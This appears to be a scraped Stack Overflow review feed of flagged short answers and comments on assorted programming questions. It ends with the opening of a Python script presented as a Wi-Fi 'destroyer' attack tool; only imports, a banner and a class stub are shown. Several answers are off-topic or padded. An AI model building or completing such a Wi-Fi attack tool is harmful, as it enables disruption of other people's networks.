79811975

Date: 2025-11-07 05:40:15
Score: 1.5
Natty:
Report link

Updated answer from apollos example

https://www.apollographql.com/docs/react/data/file-uploads

import UploadHttpLink from "apollo-upload-client/UploadHttpLink.mjs";
import {ApolloProvider} from "@apollo/client/react";

const client = new ApolloClient({
  link: new UploadHttpLink({
      uri: 'http://localhost:8080/query',
  }),
  cache: new InMemoryCache(),
})
Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Ben Rasmussen

79811971

Date: 2025-11-07 05:26:13
Score: 2.5
Natty:
Report link

Try installing msys2 which allows you to install gcc and gnat (latest is 15.2.1). They are built with posix threading model.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Micronian Coder

79811968

Date: 2025-11-07 05:12:10
Score: 1
Natty:
Report link

@ShaunLuttin's answer states

From the docs, it says of -NewName<String>

Enter only a name, not a path and name. If you enter a path that is different from the path that is specified in the Path parameter, Rename-Item generates an error.

That is not accurate. Almost, but not quite. What is actually implemented is:

If you enter a path that is different from the fully resolved path that is specified in the Path parameter

IE two specified relative paths that resolve to the same actual path still fails. Sigh.

This code demonstrates:

# https://stackoverflow.com/questions/29636103/rename-fails-because-it-represents-a-path-or-device-name
cd c:\tmp\post29636103

# no path
Rename-Item some\long\path\fileName.txt newName.txt
# works

# same relative path
Rename-Item some\long\path\fileName_2.txt some\long\path\newName_2.txt
# fails
# Rename-Item : Cannot rename the specified target, because it represents a path or device name.

# same (but fully specified/resolved) path
Rename-Item some\long\path\fileName_2.txt c:\tmp\post29636103\some\long\path\newName_2.txt
# works
Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Long answer (-1):
  • Has code block (-0.5):
  • User mentioned (1): @ShaunLuttin's
  • Low reputation (0.5):
Posted by: john v kumpf

79811965

Date: 2025-11-07 05:09:10
Score: 2.5
Natty:
Report link

/*

Source - Links in comments

Posted by MikkoP

Retrieved 2025-11-07, License - CC BY-SA 3.0

*/

{@link #restoreActionBar()}

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Tmai 0808

79811964

Date: 2025-11-07 05:09:10
Score: 0.5
Natty:
Report link

One option for drawing thick lines with OpenGL is described here: OpenGL Line Width

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-2):
Posted by: Rabbid76

79811963

Date: 2025-11-07 05:08:09
Score: 1.5
Natty:
Report link

I am a heavy Pinescript coder and I trade intrabar but no matter what I do there are times alert() wont match the entry session, sometimes it will fire phantom alerts even if the alert function are using lock variables and are sandwiched between the if blocks. the condition is correct but the alert() function executes in a deviated manner sometimes a different trade direction as if it is not constrained by conditions.

I wonder why Trading View could not fix this bug. Pinescript is so inconsistent and a pain to debug. Why cant it follow the variables it is subjected to or at least the if block it is in. It behaves like it is outside the if block.

Such a crappy language, makes me think their software engineers are incompetent.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Wilson Roial

79811956

Date: 2025-11-07 04:57:07
Score: 4
Natty:
Report link

how Retrieving CPU Load Percent total in stm32

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Starts with a question (0.5): how
  • Low reputation (1):
Posted by: Hoshimjon Yunusov

79811954

Date: 2025-11-07 04:53:06
Score: 1.5
Natty:
Report link

\>> If that so, any particular reason are they doing that? *ngFor is much simpler and can be one liner.

Give then some time to play around. In 5-10 years, they will make full circle back to plain old `.forEach()` ...

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: Alex D

79811951

Date: 2025-11-07 04:39:03
Score: 1.5
Natty:
Report link

you can simply skip this test by


  test('Visit myurl page', async () => {
   if (errLoadingData)
{
return;
}
//remaining code
  }

else use the test.skip() or describe.skip()
refer the similar questions

Skip one test in test file Jest

Run a test in Jest only if certain condition are met

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: mariya cherian

79811948

Date: 2025-11-07 04:33:02
Score: 5
Natty:
Report link

Hello Rodrigo Reis,

Thanks for sharing your suggested model and the work you put into this!

I've tested the logic with our data, and unfortunately, it's not currently producing the correct results because it appears to be treating each week in isolation.

The calculation must be cumulative, meaning it needs to take into account the settled OT hours and the final owed/reserved hours balance carried over from all previous weeks.

Core Issue: Missing Week-Over-Week Carryover

The model is failing to correctly utilize the historical owed_hours_remaining to offset current-week surplus hours before determining the OT_payable amount.

Here are two clear counter-examples showing the discrepancy:

1. Employee 1 (Week 5)

The expected result reflects prior weeks' transactions that should have reduced the owed balance, but the model output is too high.

Metric Expected Result (Cumulative) Model Output (Incorrect)
OT Paid/ot_possible 0 12
Owed Hours Remaining 2 14

2. Employee 2

The model incorrectly identifies 12 hours as payable OT when the surplus hours should first go toward clearing the outstanding owed balance.

Expected (With Cumulative Carryover):

Owed remaining: 4
OT_possible/OT payable: 0

Output of your model:

Owed remaining: 16
OT_possible/OT payable: 12

The key adjustment needed is to ensure the previous week's owed_hours_remaining is the baseline for the current week's calculation. Any new surplus OT should reduce that owed balance first, before being classified as payable OT.

Please let me know if you can integrate that historical carryover step into your logic!

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Blacklisted phrase (2): Thanks for sharing
  • RegEx Blacklisted phrase (2.5): Please let me know
  • Long answer (-1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Luke

79811947

Date: 2025-11-07 04:32:57
Score: 7 🚩
Natty:
Report link

How exactly did you fixed it I have also done the same but the error is not resolving

Reasons:
  • RegEx Blacklisted phrase (3): did you fixed it
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Starts with a question (0.5): How
  • Low reputation (1):
Posted by: Suman Gunsola

79811942

Date: 2025-11-07 04:16:54
Score: 1
Natty:
Report link

Update

The previous use of codeql/java-queries@latest:security-extended caused an initialization error. To fix it, use the queries exactly as I do in the CodeQL CLI.

packs:
  - codeql/java-queries@latest:codeql-suites/java-security-extended.qls
  - githubsecuritylab/codeql-java-queries@latest
  - githubsecuritylab/codeql-java-queries@latest:suites/java-audit.qls
Reasons:
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: David Ng

79811934

Date: 2025-11-07 03:53:49
Score: 3
Natty:
Report link

Have you solve this issue yet? I encountered the same problem.

export const metadata: Metadata = {
  title: "Sushi's Portfolio",
  description: 'Hi! Checkout my portfolio!',
  keywords: 'Sushi, Portfolio, Developer, Designer, Programmer, Web Developer, Software Engineer, Game Developer',
  openGraph: {
    title: "Sushi's Portfolio",
    description: 'Hi! Checkout my portfolio!',
    url: 'https://sushi.toruverse.dev',
    images: [
      {
        url: '/profile/PortfolioLogo.png',
        width: 800,
        height: 600,
        alt: "Sushi's Portfolio Logo",
      },
    ],
    siteName: "Sushi's Portfolio",
    type: 'website',
  },
  icons: {
    icon: [{ url: '/logo/sushi.webp', type: 'image/webp' }],
    apple: { url: '/logo/sushi.webp', type: 'image/webp' },
  },
  robots: {
    index: true,
    follow: true,
    googleBot: {
      index: true,
      follow: true,
    },
  },
}
Reasons:
  • RegEx Blacklisted phrase (1.5): solve this issue yet?
  • RegEx Blacklisted phrase (1): solve this issue yet?
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: Torukun

79811919

Date: 2025-11-07 02:34:33
Score: 2
Natty:
Report link

Needed to #include <Arduino.h>

Reasons:
  • Low length (2):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Has no white space (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Dean Brundage

79811915

Date: 2025-11-07 02:19:30
Score: 2
Natty:
Report link

# Source - How to get a Hydra config without using @hydra.main()

# Posted by flawr, modified by community. See post 'Timeline' for change history

# Retrieved 2025-11-07, License - CC BY-SA 4.0

db:

driver: mysql

user: omry

pass: secret

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Alimar Sabado

79811906

Date: 2025-11-07 01:44:24
Score: 1
Natty:
Report link

Yes, we have a dedicated Partner Success Account Manager, and we already shared the situation with him 3–4 months ago, and he replied that the ticket was escalated to the product team, but the issue is still there, and no visible progress is provided

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Tan Sang

79811898

Date: 2025-11-07 01:08:16
Score: 1
Natty:
Report link
// Note the three spaces, instead of a more standard four;
//  this is so when it is used a space-character will be used to separate the {attribute}
//  from the rest of the text (creating an indentation of four spaces).
:tab: {nbsp}{nbsp}{nbsp}

== Heading

Take a look at the indented paragraphs below!  Cool huh?

{tab} My fancy introduction of this awesome paragraph.
{tab} This line is joined to the one prior.

{tab} This starts a new paragraph block. +
{tab} The trailing plus forces this to be on a new line, but a part of the same block.

{tab} This is the beginning of a really long paragraph.  Notice how it begins to look like a normal paragraph, like in a book, as the text wraps and falls under the indented first line.  I wonder what else can be done here?

This will be rendered as:

Heading

Take a look at the indented paragraphs below! Cool huh?

    My fancy introduction of this awesome paragraph.    This line is joined to the one prior.

    This starts a new paragraph block.
    The trailing plus forces this to be on a new line, but a part of the same block.

    This is the beginning of a really long paragraph. Notice how it begins to look like a normal paragraph, like in a book, as the text wraps and falls under the indented first line. I wonder what else can be done here?

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (0.5):
Posted by: Nick J. R. T.

79811896

Date: 2025-11-07 01:06:15
Score: 2
Natty:
Report link

After reviewing my code, I realize that I had an unused parent widget which was causing the issue.

GestureDetector(
    onTap: () => FocusScope.of(context).unfocus(),
    ...
        // GoogleSignInButton() is placed as a children of GestureDetector
    ...
)

By removing the GestureDetector, it no longer rebuilds on tapping/unfocus, thus the twitching is gone! Thank you @Niyam Prassanna Kunder for the heads up.

Reasons:
  • Blacklisted phrase (0.5): Thank you
  • Has code block (-0.5):
  • User mentioned (1): @Niyam
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Cubelated

79811895

Date: 2025-11-07 01:06:15
Score: 0.5
Natty:
Report link

I'm having this problem in 2025. I found a solution. I'm not sure if this applies to OP or anyone else here, but just in case, here was my solution.

I'm using an Animator and I'm swapping the runtimeAnimatorController to play different animations. I have a Coroutine that detects when the animation has ended and handles it differently based on certain contexts. For some reason, this one animation was just looping instead of its end being properly detected by my Coroutine.

To fix this, I opened the AnimatorController in question, selected the animation in question, and changed its "Exit Time" to greater than 1.0. It couldn't detect when "normalizedTime" was greater than 1.0 because it never was!

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Rich Young

79811892

Date: 2025-11-07 00:57:13
Score: 0.5
Natty:
Report link

If VSCode is not autocompleting or underlining errors, it usually means that the editor is not recognising the programming environment correctly. Here is a detailed explanation to help others understand why this happens and how to fix it.

  1. Check the file type
    Make sure your file has the correct extension, such as .py for Python, .js for JavaScript, or .ts for TypeScript. The language mode in the bottom-right corner of VSCode should match your file type. If it does not, click it and select the correct language.

  2. Install the correct extension
    VSCode relies on extensions for autocomplete and error checking. For example:

  1. Check the language server
    Many languages use a language server to provide suggestions and highlight errors. For Python, this is usually Pylance. Make sure it is installed and active:
  1. Check VSCode settings
    Go to Settings, then Text Editor, then Suggestions. Ensure that autocomplete is enabled. Also check that linting is turned on if the language supports it.

  2. Verify your environment
    Some languages require a specific environment, such as a Python virtual environment or Node.js workspace. Make sure VSCode is using the correct interpreter and that project dependencies are installed.

  3. Reload or restart VSCode
    Changes sometimes only take effect after reloading the window (Ctrl+Shift+P, then Reload Window) or restarting the editor.

  4. Check the output panel
    Go to View, then Output, and select the relevant language server, such as Pylance or TypeScript. Any errors shown here can explain why autocomplete or linting is not working.

In summary, if VSCode is not autocompleting or underlining errors, the problem is usually caused by missing extensions, incorrect configuration, or an unrecognised environment. Ensuring the correct file type, installing the right extensions, selecting the appropriate interpreter, enabling linting, and restarting VSCode generally resolves the issue.

In summary, if VSCode is not autocompleting or underling errors, the problem is usually

caused by missing extensions, incorrect configuration, or an unrecognised environment.

Ensuring the correct file type, installing the right extensions, selecting the appropriate

interpreter, enabling linting, and restarting VSCode generally resolves the issue.

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Rodrigo Reis

79811890

Date: 2025-11-07 00:53:12
Score: 0.5
Natty:
Report link

you could create minal example data so we could use it for tests.

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-2):
Posted by: furas

79811886

Date: 2025-11-07 00:43:10
Score: 0.5
Natty:
Report link

@Panda-Kim I stand corrected! I was thinking of how math operations like + automatically align regardless of order, but apparently comparisons like == don't do that. I'm not sure what the rationale is. Using the method version like .eq() does in fact get around that.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • User mentioned (1): @Panda-Kim
  • Single line (0.5):
  • Looks like a comment (1):
  • High reputation (-2):
Posted by: wjandrea

79811881

Date: 2025-11-07 00:23:06
Score: 0.5
Natty:
Report link

Have you tried to do add a timedelta wall-clock time, which would allow DST rollback.(15 minutes local time may equal 75 minutes real time). I believe that will then get you the exact elapsed time converted to UTC before adding the timedelta.

Reasons:
  • Whitelisted phrase (-1): Have you tried
  • Low length (0.5):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Tuhin Shaikh

79811876

Date: 2025-11-07 00:10:02
Score: 3.5
Natty:
Report link

Based on this DJI support article looks like this is not possible as MP4 does not store temp data:
https://support.dji.com/help/content?customId=en-us03400003955&spaceId=34&re=US&lang=en&documentType=artical&paperDocType=paper

Reasons:
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Jay Lakumb

79811874

Date: 2025-11-07 00:08:02
Score: 1.5
Natty:
Report link

Yes @Arun it exist and it's called "IMPORT" mode in schema registry.

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • User mentioned (1): @Arun
  • Low reputation (0.5):
Posted by: ahmed.ettoumi

79811862

Date: 2025-11-06 23:34:54
Score: 2.5
Natty:
Report link

# Source - https://stackoverflow.com/q

# Posted by sebastian_t, modified by community. See post 'Timeline' for change history

# Retrieved 2025-11-07, License - CC BY-SA 4.0

openssl pkcs12 -export -in user.pem -inkey user.key -certfile user.pem -out testkeystore.p12

keytool -importkeystore -srckeystore testkeystore.p12 -srcstoretype pkcs12 -destkeystore wso2carbon.jks -deststoretype JKS

Reasons:
  • Blacklisted phrase (1): stackoverflow
  • No code block (0.5):
  • Low reputation (1):
Posted by: zakariae arhzaf

79811853

Date: 2025-11-06 23:20:51
Score: 0.5
Natty:
Report link

add this attribute in your Bottom navigation element
app:labelVisibilityMode="unlabeled"

This works for me btw, but the upper answer works as well

Reasons:
  • Whitelisted phrase (-1): works for me
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: the optimist

79811852

Date: 2025-11-06 23:19:51
Score: 0.5
Natty:
Report link

What is it your planning to do with these artifacts later? There are just raw files from your git repo? so how are you using them later? and what for? Since they are not computed, compiled or built you could just access these directly from the git repo anyway.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Single line (0.5):
  • Starts with a question (0.5): What is it you
  • High reputation (-2):
Posted by: Chris Doyle

79811802

Date: 2025-11-06 21:57:31
Score: 0.5
Natty:
Report link

With List(selection:) on macOS, you cannot deselect a row by clicking it a second time. The macOS selection model does not toggle selection on a single click.
What does work natively is Cmd-click on the selected row, which clears the selection (selectedItem = nil).

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Mikloo

79811799

Date: 2025-11-06 21:55:31
Score: 2
Natty:
Report link

I ran into the same issue — List(selection:) won’t.onTapGesture) andselectedItem = nil when the ta

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Oleg Solltys

79811793

Date: 2025-11-06 21:45:29
Score: 1
Natty:
Report link

Turned out, that middleware is perfectly fine. Deploying stuff to Digital Ocean droplet I've missed to configure Nginx server correctly. On top of its configuration I've had

# Redirect root to default locale
# location = / {
#    return 302 /en;
# }

So just removing that line fixed the issue and site works as expected. So always check server conf facing discrepancies between local and prod.

Reasons:
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: ultrapanam

79811792

Date: 2025-11-06 21:45:28
Score: 2
Natty:
Report link

Restore from backups on to a new, larger ZFS instance? You do have real backups for this data, and you're not relying on RAID as a backup?

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • High reputation (-2):
Posted by: Andrew Henle

79811789

Date: 2025-11-06 21:34:26
Score: 2.5
Natty:
Report link

It seems the correct URL is https://proxy.golang.org/github.com/google/oss-rebuild/@v/v0.0.0-20251008203231-2e9e242ca650.zip (replace @latest with @v).

This proves that GOPROXY does cache untagged commits too.

Reasons:
  • Probably link only (1):
  • Low length (1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Aman Sharma

79811788

Date: 2025-11-06 21:32:25
Score: 1.5
Natty:
Report link

It's actually very easy to implement a double linked list in erlang .. you just use maps and insert items like this: {key, value, prev_key, next_key}.

When you insert in between you untie two items by picking the previous next_key and pointing to the inserted item key, and doing the same with the following prev_key . The inserted item prev/next point to the just described neighbours.

Keys can be generated internally and be as simple as progressive integers (they have no purpose, but to have a reference to look up in the map).

To answer other asking why one would need doubly linked list: LRU caches just to say?

Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (0.5):
Posted by: Riccardo Manfrin

79811780

Date: 2025-11-06 21:14:21
Score: 3.5
Natty:
Report link

I understand now, thanks for the advice! I think in my case, partitioning definitely works the best! For the existing table, seems like only one downtime for rebuilding the clustered index once after creating all the necessary partition functions for future dates. I think I can deal with syncing schema changes with archive tables! I do agree it is not worth it to use an availabiltiy group just for this. Even if there is more purpose (like reporting), using partition still result in less downtime in long term I think.

Reasons:
  • Blacklisted phrase (0.5): thanks
  • RegEx Blacklisted phrase (3): thanks for the advice
  • Long answer (-0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: SyndRain

79811777

Date: 2025-11-06 21:10:20
Score: 4.5
Natty: 4.5
Report link

This doesn't seek to answer the question, so much as the need: (mainframe) load the page in a new tab, and clear cache (eg hard refresh)

... does this help anyone at all?

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Ends in question mark (2):
  • Low reputation (1):
Posted by: stacking

79811773

Date: 2025-11-06 21:02:18
Score: 3.5
Natty:
Report link

I developed an extension for this. Enjoy it.

Reasons:
  • Low length (2):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: bugrakosen

79811770

Date: 2025-11-06 20:57:16
Score: 0.5
Natty:
Report link

Sorry I was still trying to think through how to do so by partitioning. I definetly can change it to not be a sliding window. I imagine in this case, I (or a program) should create partitions for future date in advance on those tables then? For availability group, I thought the archiving program can read from the reqadable secondary to write to the CSV instead of reading from primary, so for the primary database the archiving program just need to do the delete query (so it kinda helped by not needing to select a bunch of data first?)

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: SyndRain

79811763

Date: 2025-11-06 20:51:14
Score: 3
Natty:
Report link

Make sure to leave the maximum number of connections empty (both). Solved the problem for me. KR

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Leif Scholz

79811761

Date: 2025-11-06 20:48:13
Score: 3.5
Natty:
Report link

This blog post and discussion in the comments may be helpful. https://communities.sas.com/t5/Administration-and-Deployment/SAS-ACCESS-to-Snowflake-s-MFA-Mandate-A-Step-by-Step-Guide-to/m-p/978416

Reasons:
  • Blacklisted phrase (1): This blog
  • Probably link only (1):
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Quentin

79811757

Date: 2025-11-06 20:44:12
Score: 0.5
Natty:
Report link

In my installation of Python 3.14, turtle.Turtle() does take the shape keyword argument. But from the comments on this question, it seems that some versions of the class do not, so I suppose yours does, and the version on tinker.io does not take the argument. You'll have to use the shape() method for better portability, I suppose.

Reasons:
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: PT-Hrothgar

79811752

Date: 2025-11-06 20:40:11
Score: 3
Natty:
Report link

Oh that's good to know. Somehow when I was doing my research I get to the conclusion that this method is Enterprise only. Would you suggest us doing so for archiving since it is available?

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Self-answer (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: SyndRain

79811749

Date: 2025-11-06 20:37:10
Score: 1
Natty:
Report link

ALTER TABLE ... SWITCH on its own does not require Enterprise Edition (neither has partitioning in general, since 2016 SP1). https://kendralittle.com/2017/01/19/why-you-should-switch-in-staging-tables-instead-of-renaming/ & https://kendralittle.com/course/tuning-problem-queries-in-table-partitioning/ Also see here for some other options and info: https://stackoverflow.com/a/69224284

Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Probably link only (1):
  • Low length (1):
  • Has code block (-0.5):
  • Single line (0.5):
  • High reputation (-2):
Posted by: Aaron Bertrand

79811748

Date: 2025-11-06 20:35:09
Score: 5
Natty:
Report link

Just advise. (I guess you run ok locally without docker - mean paths are correct - upstream downstream)

  1. Why you use Developmnet running in docker ? Use Production.json
    Normally Dev you run on host without docker using localhost. (Naming doesn't really matter)

  2. When running in docker replace in ocelot json Host - set container name.

  3. ReRoutes instead of Routes (Routes is used with any service discovery like Consul etc)

  4. BaseUrl should use host.docker.internal, not localhost

  5. Check that you run in one network (all containers)

  6. Install in docker container tab Exec something like curl to check if you see other containers/
    apt-get update

apt-get install -y curl

curl http://service name:port../api/.... - just call your other service - should get response

use just ping
apt-get install -y iputils-ping

docker exec servicename1 ping servicename2 -c2

PS I'm stuck with ocelot too in docker - I can call other services (containers) but through Ocelot getting the same error.

Reasons:
  • RegEx Blacklisted phrase (1.5): I'm stuck
  • Long answer (-0.5):
  • No code block (0.5):
  • Me too answer (2.5): getting the same error
  • Contains question mark (0.5):
  • Low reputation (0.5):
Posted by: Gleb B

79811747

Date: 2025-11-06 20:35:09
Score: 0.5
Natty:
Report link

You do not need a custom converter for this case
System Text Json already supports ignoring properties that should not be written

The important detail is that an empty string is not considered a default value
So you need to explicitly define when the property should be written

A simple way is to add a ShouldSerialize pattern to your class
The serializer will only include the property if that method returns true

Example idea without full code
Define your string property like normal
Add a method named ShouldSerializeStringProp that returns false if the string is empty
During serialization the property will be skipped and the JSON remains valid

If you are configuring JsonSerializerOptions globally you can also use
DefaultIgnoreCondition set to WhenWritingDefault
but then make sure the empty string is treated as a default value in your model

Either of these approaches will give you valid JSON without the unwanted property when it has an empty value


Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Hunt3r5o4

79811745

Date: 2025-11-06 20:34:09
Score: 2
Natty:
Report link

Just to comment on your advice tags: generally, in the scrumboard/kanban (not backlog), you usually want one state per column, so should regularly not be sorting this way. But, of course, you can setup process states with the work item level states like you are describing. Something you may want to look at are the process settings at the organization-level. Usually, per work item type, there are three different groupings that a state can be in. These may help the default sort order.

Reasons:
  • Blacklisted phrase (1): to comment
  • No code block (0.5):
  • Single line (0.5):
Posted by: Mykel

79811743

Date: 2025-11-06 20:31:08
Score: 1
Natty:
Report link

After much help from @JonasMetzler and @DaleK, the following query worked for Snowflake.

My goal was to get all contacts to display on one row instead of multiple rows for each person_key.

SELECT
    p.PERSON_KEY AS "KEY",
    p.PERSON_NAME AS "Person Name",
    MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 1 THEN c.CONTACT_FIRST_NAME END) AS "First Contact First Name",
    MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 2 THEN c.CONTACT_FIRST_NAME END) AS "Second Contact First Name",
    MAX(CASE WHEN c.CONTACT_PRIORITY_ORDER = 3 THEN c.CONTACT_FIRST_NAME END) AS "Third Contact First Name"
FROM DTBL_PERSON p
LEFT JOIN MTBL_CONTACTS c
       ON p.PERSON_KEY = c.PERSON_KEY
GROUP BY p.PERSON_KEY, p.PERSON_NAME
ORDER BY p.PERSON_KEY;

Because there are multiple contacts attached to each key, I added the contact priority order to identify each which of the contacts should be selected. Then the max function looks at the row and selects the non null value for each column. The group by then identifies how each selection is grouped and delivers the desired single row for each piece of information.

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • User mentioned (1): @JonasMetzler
  • User mentioned (0): @DaleK
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Rachel Helm

79811734

Date: 2025-11-06 20:21:05
Score: 1
Natty:
Report link

This mainly happens because some browsers do detect if a webpage with the same TLD name exists in your current session and reload the new URL in the same tab.

I have never seen a single browser that does that. It sounds nightmarish.

If I visit app1.domain.com and then also try to open app2.domain.com, it would just open it in the first tab?

Or if it only works for the same origin - then I cannot open two questions from Stack Overflow?

Reasons:
  • Blacklisted phrase (0.5): I cannot
  • No code block (0.5):
  • Ends in question mark (2):
  • High reputation (-2):
Posted by: VLAZ

79811731

Date: 2025-11-06 20:16:04
Score: 3
Natty:
Report link

Wow this is a very key problem to detect infiltrated users sabotaging channels that hide in the anonymity.

I'm surprised you haven't gotten an answer.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Max

79811720

Date: 2025-11-06 20:01:00
Score: 3.5
Natty:
Report link

The issue is that https://www.googleapis.com/auth/gmail.send scope only works with the Gmail API, not SMTP. For SMTP OAuth2, you need https://mail.google.com/ scope.

Reasons:
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Alecu Marian Alexandru

79811714

Date: 2025-11-06 19:51:58
Score: 0.5
Natty:
Report link

I found what appears to be the correct Authoring REST API documentation (as of 06 November 2025):
https://learn.microsoft.com/en-us/rest/api/language/analyze-conversations-authoring/operation-groups?view=rest-language-analyze-conversations-authoring-2025-11-01

And I found it from this page (Azure AI Language REST API reference):
https://learn.microsoft.com/en-us/rest/api/language/

Here is one example (found on the Authoring API sub-pages):
Source: https://learn.microsoft.com/en-us/rest/api/language/analyze-conversations-authoring/conversation-authoring-trained-model/delete-trained-model?view=rest-language-analyze-conversations-authoring-2025-11-01&tabs=HTTP#code-try-0

DELETE {Endpoint}/language/authoring/analyze-conversations/projects/{projectName}/models/{trainedModelLabel}?api-version=2025-11-01

Tabled excerpted from the above link:

Name Type Description
204 No Content There is no content to send for this request, but the headers may be useful.
Other Status Codes Azure.Core.Foundations.ErrorResponse An unexpected error response. Headers: x-ms-error-code: string

Example source

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
Posted by: ryanwebjackson

79811713

Date: 2025-11-06 19:50:57
Score: 3
Natty:
Report link

Using a Logitec 105-key (Windows) keyboard with a MacMini, I eventually found a combination that worked with my custom key mapping: Windows-key + Alt + X

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: jfl

79811711

Date: 2025-11-06 19:47:56
Score: 6.5
Natty:
Report link

Sure @Duck -- where should I share my feedback?

Reasons:
  • Blacklisted phrase (1.5): where should I
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • User mentioned (1): @Duck
  • Self-answer (0.5):
  • Single line (0.5):
  • Looks like a comment (1):
  • High reputation (-2):
Posted by: Jan Nielsen

79811702

Date: 2025-11-06 19:36:53
Score: 3.5
Natty:
Report link

To easily change the date or time of any commit, you can use this open source tool: https://github.com/arbaev/commit-date-changer

Reasons:
  • Whitelisted phrase (-1.5): you can use
  • Probably link only (1):
  • Contains signature (1):
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Tim

79811692

Date: 2025-11-06 19:28:51
Score: 0.5
Natty:
Report link

# mersin_wifi_destroyer_v99.py

# التطبيق الرسمي لأهل مرسين – نوفمبر 2025

# المبرمج: السوري 🔥

import subprocess

import threading

import queue

import time

import os

import re

import sys

from colorama import init, Fore, Style

init(autoreset=True)

R = Fore.RED + Style.BRIGHT

G = Fore.GREEN + Style.BRIGHT

Y = Fore.YELLOW + Style.BRIGHT

C = Fore.CYAN + Style.BRIGHT

M = Fore.MAGENTA + Style.BRIGHT

W = Fore.WHITE + Style.BRIGHT

print(f"""{R}

███╗ ███╗███████╗██████╗ ███████╗██╗███╗ ██╗ ██╗ ██╗██╗███████╗██╗

████╗ ████║██╔════╝██╔══██╗██╔════╝██║████╗ ██║ ██║ ██║██║██╔════╝██║

██╔████╔██║█████╗ ██████╔╝███████╗██║██╔██╗ ██║ ██║ █╗ ██║██║█████╗ ██║

██║╚██╔╝██║██╔══╝ ██╔══██╗╚════██║██║██║╚██╗██║ ██║███╗██║██║██╔══╝ ╚═╝

██║ ╚═╝ ██║███████╗██║ ██║███████║██║██║ ╚████║ ╚███╔███╔╝██║██║ ██╗

╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝

                {M}MERSIN WIFI DESTROYER V99 - السوري 🔥

""")

class MersinDestroyer:

def \__init_\_(self):

